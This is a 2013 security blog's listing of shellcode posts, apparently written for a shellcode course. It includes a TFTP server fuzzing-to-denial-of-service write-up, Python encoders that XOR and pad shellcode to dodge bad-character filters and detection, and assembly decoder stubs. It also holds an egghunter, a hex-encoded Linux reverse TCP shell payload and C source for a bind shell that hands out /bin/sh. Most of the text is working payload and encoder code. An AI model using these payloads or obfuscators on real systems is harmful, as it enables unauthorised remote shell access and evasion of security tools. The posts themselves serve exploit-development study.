Shellcode

/Shellcode

Fuzz to Denial of Service: Quick TFTP Server 2.2

On a recent hunt for bugs, I came across a buffer overflow condition in TallSoft’s newly released Quick TFTP Server 2.2. I thought I’d write a short guide as to how the bug was identified and how the denial of service was constructed against the application. Unfortunately for us, the application was compiled with ‘/GS’ which makes exploitation significantly more difficult. In short, at the start of each function, the compiler inserts a special ‘cookie’ value after the allocated buffer space. When the function returns, if the cookie is intact and matches the expected value, all is good, if not, we can assume that the buffer has been overrun and the application crashes. We can’t predict the expected value and just include it as part of our exploit as it is generated dynamically at runtime. Exploits already exist for previous versions of this application, and it seems that instead of patching the bugs, the vendor has simply recompiled with /GS enabled. Anyway, on to the bug – the first step was to fuzz the application. Spike TFTP Template The RFC and protocol description for TFTP is pretty simple – it’s a UDP service that runs over port 69. This allows us to build a template for SPIKE fuzzer. In the template, we are specifying bytes that must remain consistent, and then ‘variable’ bytes. This is our SPIKE template. Here, we specify two fixed binary bytes ‘\x00\x02’ followed by a fuzz point i.e. the filename. We then require another fixed null binary byte ‘\x00’, followed by another fuzz point. Lastly, we terminate the payload with a final ‘\x00’ byte. This should maintain the integrity of the protocol whilst we examine how the application will handle different types and length of input placed at the two fuzz points. The next step is running SPIKE against our application and seeing if we observe anything interesting […]

By | June 6th, 2013|Exploit Development, Shellcode|0 Comments

Python Cascading XOR Polymorphic Shellcode Generator

I’ve been working on a simple python utility to encode and wrap existing shellcode. The shellcode is XOR’d with a random seed byte each time, and then the shellcode is XOR’d with the previous byte. The stub itself is vaguely polymorphic. The stub itself is very small although on each run, it will reorder instructions where possible, use different registers, and add some random nop sequences. The encoder itself supports shellcode with or without null bytes and also supports a list of ‘bad characters’ that are not allowed to appear in the finished result wherever possible. That part isn’t fool proof, and certain characters such as ‘\xeb’ are unavoidable. This could be improved a lot however. I also know the Python code isn’t great, but it is functional. As you’ll see from looking through the code, I never got round to learning about Python data types and so there’s a lot of hackery and kludgery. In any case, the purpose was just to develop a basic functional PoC from scratch. If the entered shellcode contains nulls, we’ll use a slightly different version of the decoder stub. If we DO have nulls, our basic stub is: _start: jmp short getpc start_decoder: pop edi decoder: inc edi mov bl, [edi] xor [edi-1], bl cmp byte[edi+1], 0xXX jnz decoder jmp short shellcode getpc: call start_decoder shellcode: db 0xf0,0x19,0x0c,0x0c,0x0c,0x0c,0x55,0x64,0xa4,0x95,0x4e,0x7f,0xad,0x1d,0x19,0xaa,0xab,0x19,0x14,0xd9,0x59,0xe9,0xe8,0x5b,0x5a,0x97,0x17,0xff,0x19,0xe6,0x19,0xe6,0xae,0xcb,0xa7,0xcb,0xa4,0x84,0xd3,0xbc,0xce,0xa2,0xc6,0xe7,0xed,0xXX, There will be various transforms made to this code, however the main point to note is that we ‘cmp’ the byte with our random stop bit (0xXX) and you’ll see that tagged on to the end of the shellcode also. If we have no nulls, then \x00 is going to be our definer for the last character, and so we can shorten the shellcode slightly: global _start section prog write exec _start: jmp short getpc start_decoder: pop ebp decoder: mov dl, [ebp+1] inc ebp xor [ebp-1], dl jne decoder jmp short shellcode getpc: call start_decoder shellcode: db 0x64,0x55,0x8e,0x79,0x9a,0x2a,0x4c,0x1f,0xe1,0x22,0x71,0x1b,0x19,0x90,0x71,0xbc,0x3c,0xb5,0x72,0x18,0x7e,0x26,0x7d,0x23,0x45,0x2d,0x20,0xd0,0xb6,0xe5,0x6c,0x8d,0xe7,0xf7,0xa6,0xf1,0x78,0x99,0x54,0xd4,0xbe,0xd8,0x80,0x81,0x5a,0x30,0x31,0x66,0xef,0x0e,0xc3,0x43,0x29,0x4f,0x17,0x54,0x65,0xb7,0xe5,0xb7,0xe0,0x69,0x88,0x45,0xc5,0x56,0x67,0xae,0x1f,0x1d,0xad,0x92,0x5f,0xdf,0x96,0xef,0x16,0x27,0xe7,0xb7,0xdf,0xf0,0xdf,0xac,0xc4,0xac,0x83,0xe1,0x88,0xe6,0x6f,0x8c,0xdc,0x55,0xb7,0xe4,0x6d,0x8c,0x3c,0x37,0xfa,0x7a,0x7a, In this case, we have the stop bit twice – 0x7a,0x7a which will xor to 0x00 allowing our ‘jne decoder’ to evaluate to false and continue into the shellcode. The nop generator function is commented out however this can be expanded as needed to pad out the shellcode. Here’s the full encoder: […]

By | April 11th, 2013|Linux, Python, Shellcode|0 Comments

SLAE Shellcode Dissection

As part of the SecurityTube SLAE course, I’m going to dissect 3 shellcodes from shell-storm.org and then also create variants of 3 shellcodes from shell-storm.org. Here they are: http://www.shell-storm.org/shellcode/files/shellcode-67.php: This is a very well optimized shellcode. The shellcode is designed to run the ‘ifconfig eth0 down’ command which will take down the eth0 network interface under Linux. My analysis is as follows: push $0xb ;Push 0xb (11) on to the stack pop %eax ;Pop the stack into eax. Now eax eq 0xb (11) cltd ;Extend the sign of eax(0) -> edx. i.e. zero edx push %edx ;Push 0x00000000 to the stack push $0x6e776f64 ;Push ‘down’ in reverse mov %esp,%esi ;Move a pointer to ‘down’ in to esi push %edx ;Push 0x00000000 to the stack push $0x30687465 ;Push ‘eth0’ in reverse mov %esp,%ecx ;Move a pointer to ‘eth0’ in to ecx push %edx ;Push 0x00000000 to the stack push $0x6769666e ;nfig push $0x6f636669 ;ifco push $0x2f2f6e69 ;in// push $0x62732f2f ;//sb mov %esp,%ebx ;Push pointer to //sbin//ifconfig push %edx ;Push 0x00000000 push %esi ;Push pointer to ‘down’ push %ecx ;Push pointer to ‘eth0’ push %ebx ;Push pointer to ‘//sbin//ifconfig’ mov %esp,%ecx ;Move the stack pointer to ecx for call below int $0x80 ;Call system call (0xb) – execve […]

By | April 11th, 2013|Linux, Shellcode|0 Comments

Insertion and additive XOR encoder shellcode

Another shellcode generator I’ve just created is an additive XOR encoder on top of the previous insertion encoder. Each byte in the shellcode is XOR’d with the previous. Bad character filtering is also supported: #!/usr/bin/python #; Title Insertion and Additive XOR encoder v0.1 #; Author npn <npn at iodigitalsec dot com> #; License http://creativecommons.org/licenses/by-sa/3.0/ #; Legitimate use and research only #; This program is distributed in the hope that it will be useful, #; but WITHOUT ANY WARRANTY; without even the implied warranty of #; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. import random shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e" "\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") badchars = (["\x0a", "\x0d"]) stopbyte = "\xaa" #—# #print "Starting Set length: " + repr(len(allowedxors)) #step1 allowedxors = (["\x01","\x02","\x03","\x04","\x05","\x06","\x07","\x08","\x09","\x0a","\x0b","\x0c", "\x0d","\x0e","\x0f","\x10","\x11","\x12","\x13","\x14","\x15","\x16","\x17","\x18", "\x19","\x1a","\x1b","\x1c","\x1d","\x1e","\x1f","\x20","\x21","\x22","\x23","\x24", "\x25","\x26","\x27","\x28","\x29","\x2a","\x2b","\x2c","\x2d","\x2e","\x2f","\x30", "\x31","\x32","\x33","\x34","\x35","\x36","\x37","\x38","\x39","\x3a","\x3b","\x3c", "\x3d","\x3e","\x3f","\x40","\x41","\x42","\x43","\x44","\x45","\x46","\x47","\x48", "\x49","\x4a","\x4b","\x4c","\x4d","\x4e","\x4f","\x50","\x51","\x52","\x53","\x54", "\x55","\x56","\x57","\x58","\x59","\x5a","\x5b","\x5c","\x5d","\x5e","\x5f","\x60", "\x61","\x62","\x63","\x64","\x65","\x66","\x67","\x68","\x69","\x6a","\x6b","\x6c", "\x6d","\x6e","\x6f","\x70","\x71","\x72","\x73","\x74","\x75","\x76","\x77","\x78", "\x79","\x7a","\x7b","\x7c","\x7d","\x7e","\x7f","\x80","\x81","\x82","\x83","\x84", "\x85","\x86","\x87","\x88","\x89","\x8a","\x8b","\x8c","\x8d","\x8e","\x8f","\x90", "\x91","\x92","\x93","\x94","\x95","\x96","\x97","\x98","\x99","\x9a","\x9b","\x9c", "\x9d","\x9e","\x9f","\xa0","\xa1","\xa2","\xa3","\xa4","\xa5","\xa6","\xa7","\xa8", "\xa9","\xaa","\xab","\xac","\xad","\xae","\xaf","\xb0","\xb1","\xb2","\xb3","\xb4", "\xb5","\xb6","\xb7","\xb8","\xb9","\xba","\xbb","\xbc","\xbd","\xbe","\xbf","\xc0", "\xc1","\xc2","\xc3","\xc4","\xc5","\xc6","\xc7","\xc8","\xc9","\xca","\xcb","\xcc", "\xcd","\xce","\xcf","\xd0","\xd1","\xd2","\xd3","\xd4","\xd5","\xd6","\xd7","\xd8", "\xd9","\xda","\xdb","\xdc","\xdd","\xde","\xdf","\xe0","\xe1","\xe2","\xe3","\xe4", "\xe5","\xe6","\xe7","\xe8","\xe9","\xea","\xeb","\xec","\xed","\xee","\xef","\xf0", "\xf1","\xf2","\xf3","\xf4","\xf5","\xf6","\xf7","\xf8","\xf9","\xfa","\xfb","\xfc", "\xfd","\xfe","\xff"]) if stopbyte in allowedxors: allowedxors.remove(stopbyte) for b in badchars: if b in allowedxors: allowedxors.remove(b) #step1 insert random junk in every other byte b = bytearray() for x in bytearray(shellcode): b.append(ord(random.choice(allowedxors))) b.append(x) b.append(ord(stopbyte)) shellcode = b #step2 cascading additive xor with known start byte myallowedxors = list(allowedxors) random.shuffle(myallowedxors) loopctr=1 for ax in myallowedxors: b = bytearray() lastbyte = ord(ax) b.append(lastbyte) badchar = 0 for x in bytearray(shellcode): thisbyte = x^lastbyte if chr(thisbyte) == stopbyte or chr(thisbyte) in badchars: badchar = 1 break b.append(thisbyte) lastbyte = thisbyte if badchar == 1: loopctr=loopctr+1 else: break if badchar == 1: print "No bytes left(3)" quit() print "Succeeded on %d of %d" % (loopctr, len(allowedxors)) shellcode = b #step3 put it together encoded = "" encoded2 = "" for x in bytearray(shellcode): encoded += ‘\\x%02x’ % x encoded2 += ‘0x%02x,’ % x print encoded print encoded2 print ‘Len: %d’ % (len(encoded)/4) […]

By | April 8th, 2013|Linux, Shellcode|0 Comments

Linux Insertion Obfuscated Shellcode

Here is my next shellcode, along with a generator. This generator inserts a random bit between each legitimate shellcode character, and then the decoder stub unpacks it before running it: ; Title Linux Insertion Obfuscated Shellcode v0.1 ; Author npn <npn at iodigitalsec dot com> ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Legitimate use and research only ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. #!/usr/bin/python shellcode = ("\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80") stopchar = "\xff"; encoded = "" encoded2 = "" import random for x in bytearray(shellcode): encoded += ‘\\x’ encoded += ‘%02x’ % x encoded += ‘\\x%02x’ % random.randint(1,254) encoded2 += ‘0x’ encoded2 += ‘%02x,’ % x encoded2 += ‘0x%02x,’ % random.randint(1,254) encoded += ‘\\x’ encoded += ‘%02x’ % ord(stopchar) encoded2 += ‘0x’ encoded2 += ‘%02x’ % ord(stopchar) print encoded print encoded2 print ‘Len: %d’ % len(bytearray(shellcode)) […]

By | April 8th, 2013|Linux, Shellcode|0 Comments

Linux Egghunter Shellcode

I created my first egghunter today, and with a little optimization it’s only 38 bytes in size. It would be possible to make a smaller egghunter that did not check for access to the page such as this one which is only 29 bytes! It would run slower however. The bytes to modify are highlighted in bold (\xf3 \x3d \xf0 \x0d). The shellcode itself is: “\x31\xc9\xf7\xe1\xfc\x66\x81\xca\xff\x0f\x6a\x21” “\x58\x42\x8d\x5a\x04\xcd\x80\x3c\xf2\x74\xee\x89″ \xd7\xb8\xf3\x3d\xf0\x0d\xaf\x75\xe9\xaf\x75\xe6” “\xff\xe7”. The shellcode searches through memory for the tag twice over before jumping execution to the location immediately after. The shellcode will skip pages that give error (cmp al, 0xf2; jz next_page) rather than blindly continuing. The assembly code for this shellcode is: ; Title Linux Egghunter Shellcode v0.1 ; Author npn <npn at iodigitalsec dot com> ; License http://creativecommons.org/licenses/by-sa/3.0/ ; Legitimate use and research only ; This program is distributed in the hope that it will be useful, ; but WITHOUT ANY WARRANTY; without even the implied warranty of ; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. global _start section .text _start: xor ecx, ecx mul ecx cld next_page: or dx, 0xfff; next_byte: push byte 0x21 ;access() pop eax inc edx ;ecx is 0 already lea ebx, [edx+4] int 0x80 cmp al, 0xf2 ;check for error jz next_page ;can’t read the page mov edi, edx mov eax, 0x0df03df3 scasd jnz next_byte ;keep trying scasd ;do we have the string twice? jnz next_byte ;keep trying jmp edi ;found […]

By | April 7th, 2013|Linux, Shellcode|0 Comments

Linux Reverse Shell TCP Shellcode

Now to create a reasonably well optimized linux Reverse TCP shellcode (66 bytes): “\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x93\x59\x68” “\x7f\x00\x00\x01” <- IP address 127.0.0.1 “\x66\x68” “\x0d\xf0” <- Port 3568 “\x66\x51\xb0\x3f\xcd\x80\x49\x79\xf9\x89\xe1\x6a\x10\x51\x53\x89\xe1\xb0” “\x66\xcd\x80\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x31\xc9\x89\xe3” “\xb0\x0b\xcd\x80” […]

By | April 7th, 2013|Linux, Shellcode|0 Comments

Linux Shell Bind TCP Shellcode

As part of the SecurityTube SLAE course, I’m going to create a series of shellcodes and document the process. The first task is to create a simple shell bind tcp that spawns a shell on connect, with a port that is easily configurable. Firstly, I wrote out in C what I was hoping to achieve: #include <sys/socket.h> #include <sys/types.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> int main(void) { int clientfd, sockfd; int dstport = 4444; int o = 1; struct sockaddr_in mysockaddr; sockfd = socket(AF_INET, SOCK_STREAM, 0); //setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &o, sizeof(o)); //a luxury we don’t have space for mysockaddr.sin_family = AF_INET; //2 mysockaddr.sin_port = htons(dstport); mysockaddr.sin_addr.s_addr = INADDR_ANY; //0 bind(sockfd, (struct sockaddr *) &mysockaddr, sizeof(mysockaddr)); listen(sockfd, 0); clientfd = accept(sockfd, NULL, NULL); dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2); execve("/bin/sh", NULL, NULL); return 0; } […]

By | April 7th, 2013|Linux, Shellcode|1 Comment